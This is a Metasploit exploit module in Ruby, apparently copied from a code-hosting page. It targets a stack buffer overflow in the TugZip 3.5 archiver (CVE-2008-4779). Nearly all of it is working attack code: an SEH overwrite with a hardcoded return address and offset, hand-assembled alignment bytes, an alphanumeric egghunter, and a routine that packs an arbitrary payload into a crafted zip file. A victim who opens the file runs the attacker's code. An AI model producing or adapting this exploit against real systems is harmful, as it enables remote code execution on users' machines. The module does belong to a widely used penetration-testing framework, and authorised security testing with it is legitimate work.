131 lines
3.8 KiB
Ruby
131 lines
3.8 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'rex/zip'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'TugZip 3.5 Zip File Parsing Buffer Overflow Vulnerability',
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'Description' => %q{
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This module exploits a stack-based buffer overflow vulnerability
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in the latest version 3.5 of TugZip archiving utility.
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In order to trigger the vulnerability, an attacker must convince someone
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to load a specially crafted zip file with TugZip by double click or file open.
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By doing so, an attacker can execute arbitrary code as the victim user.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Stefan Marin', # Vulnerability discovery
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'Lincoln', # Corelan team. Original exploit
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'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module
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'mr_me <steventhomasseeley[at]gmail.com>', # Metasploit module
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],
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'References' =>
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[
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[ 'OSVDB', '49371' ],
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[ 'CVE', '2008-4779' ],
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[ 'BID', '31913' ],
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[ 'EDB', '12008' ]
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],
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'Platform' => [ 'win' ],
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'Payload' =>
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{
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'BadChars' => "\x00\x0f\x14\x15\x2f" + (0x80..0xff).to_a.pack('C*'),
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'DisableNops' => true, # no need
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'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
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'EncoderOptions' =>
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{
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'BufferRegister' => 'EDI', # Egghunter jmp EDI
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}
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},
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'Targets' =>
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[
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[
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'Universal',
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{
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'Ret' => 0x7e0c307e,
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# 5.00.2147.1 [ztvcabinet.dll]
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# POP EBX > POP EBP > RETN
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'Offset' => 372, # to nseh
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}
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],
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],
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'DisclosureDate' => 'Oct 28 2008',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),
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], self.class)
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end
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def exploit
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# Hardcoded egghunter due to size limit (before nseh destroyed/130D past seh of usable bytes)
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# base register ESI
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hunter = "VYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIK9Jzs"
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hunter << "rbrRJuRRxzmvNWLWuQJt4ZOnXPwtpTpQdLKJZLoPuzJNO3EXgkOJGA"
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eggtag = 'w00t' * 2
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getpc_asm = %q{
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popad
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popad
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popad
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popad
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popad
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pop ebx
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}
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# Align EBX for hunter
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alignment = Metasm::Shellcode.assemble(Metasm::Ia32.new, getpc_asm).encode_string
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# Align for ESI + factoring mangled chars
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alignment << "\x89\x05" # jmp short (5 bytes) to 'jmp back' at end
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alignment << "\x5e" # pop esi
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alignment << "\x41" # nop (inc ecx)
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alignment << "\x98\x99" # call esi
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alignment << "\x41" # nop (inc ecx)
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alignment << "\x8a\x94\x98\x98\x98" # jmp back to pop esi
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getpc_asm = %q{
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popad
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pop esp
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inc eax
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inc eax
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}
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# Realign stack pointer
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nseh = Metasm::Shellcode.assemble(Metasm::Ia32.new, getpc_asm).encode_string
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seh = [target.ret].pack("V*")
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sploit = rand_text_alpha(target['Offset'])
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sploit << nseh << seh
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sploit << alignment
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sploit << hunter
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sploit << eggtag << payload.encoded
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zip = Rex::Zip::Archive.new
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xtra = [0xdac0ffee].pack('V')
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comment = [0xbadc0ded].pack('V')
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zip.add_file(sploit, xtra, comment)
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# Create the file
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print_status("Creating '#{datastore['FILENAME']}' file...")
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file_create(zip.pack)
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end
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end
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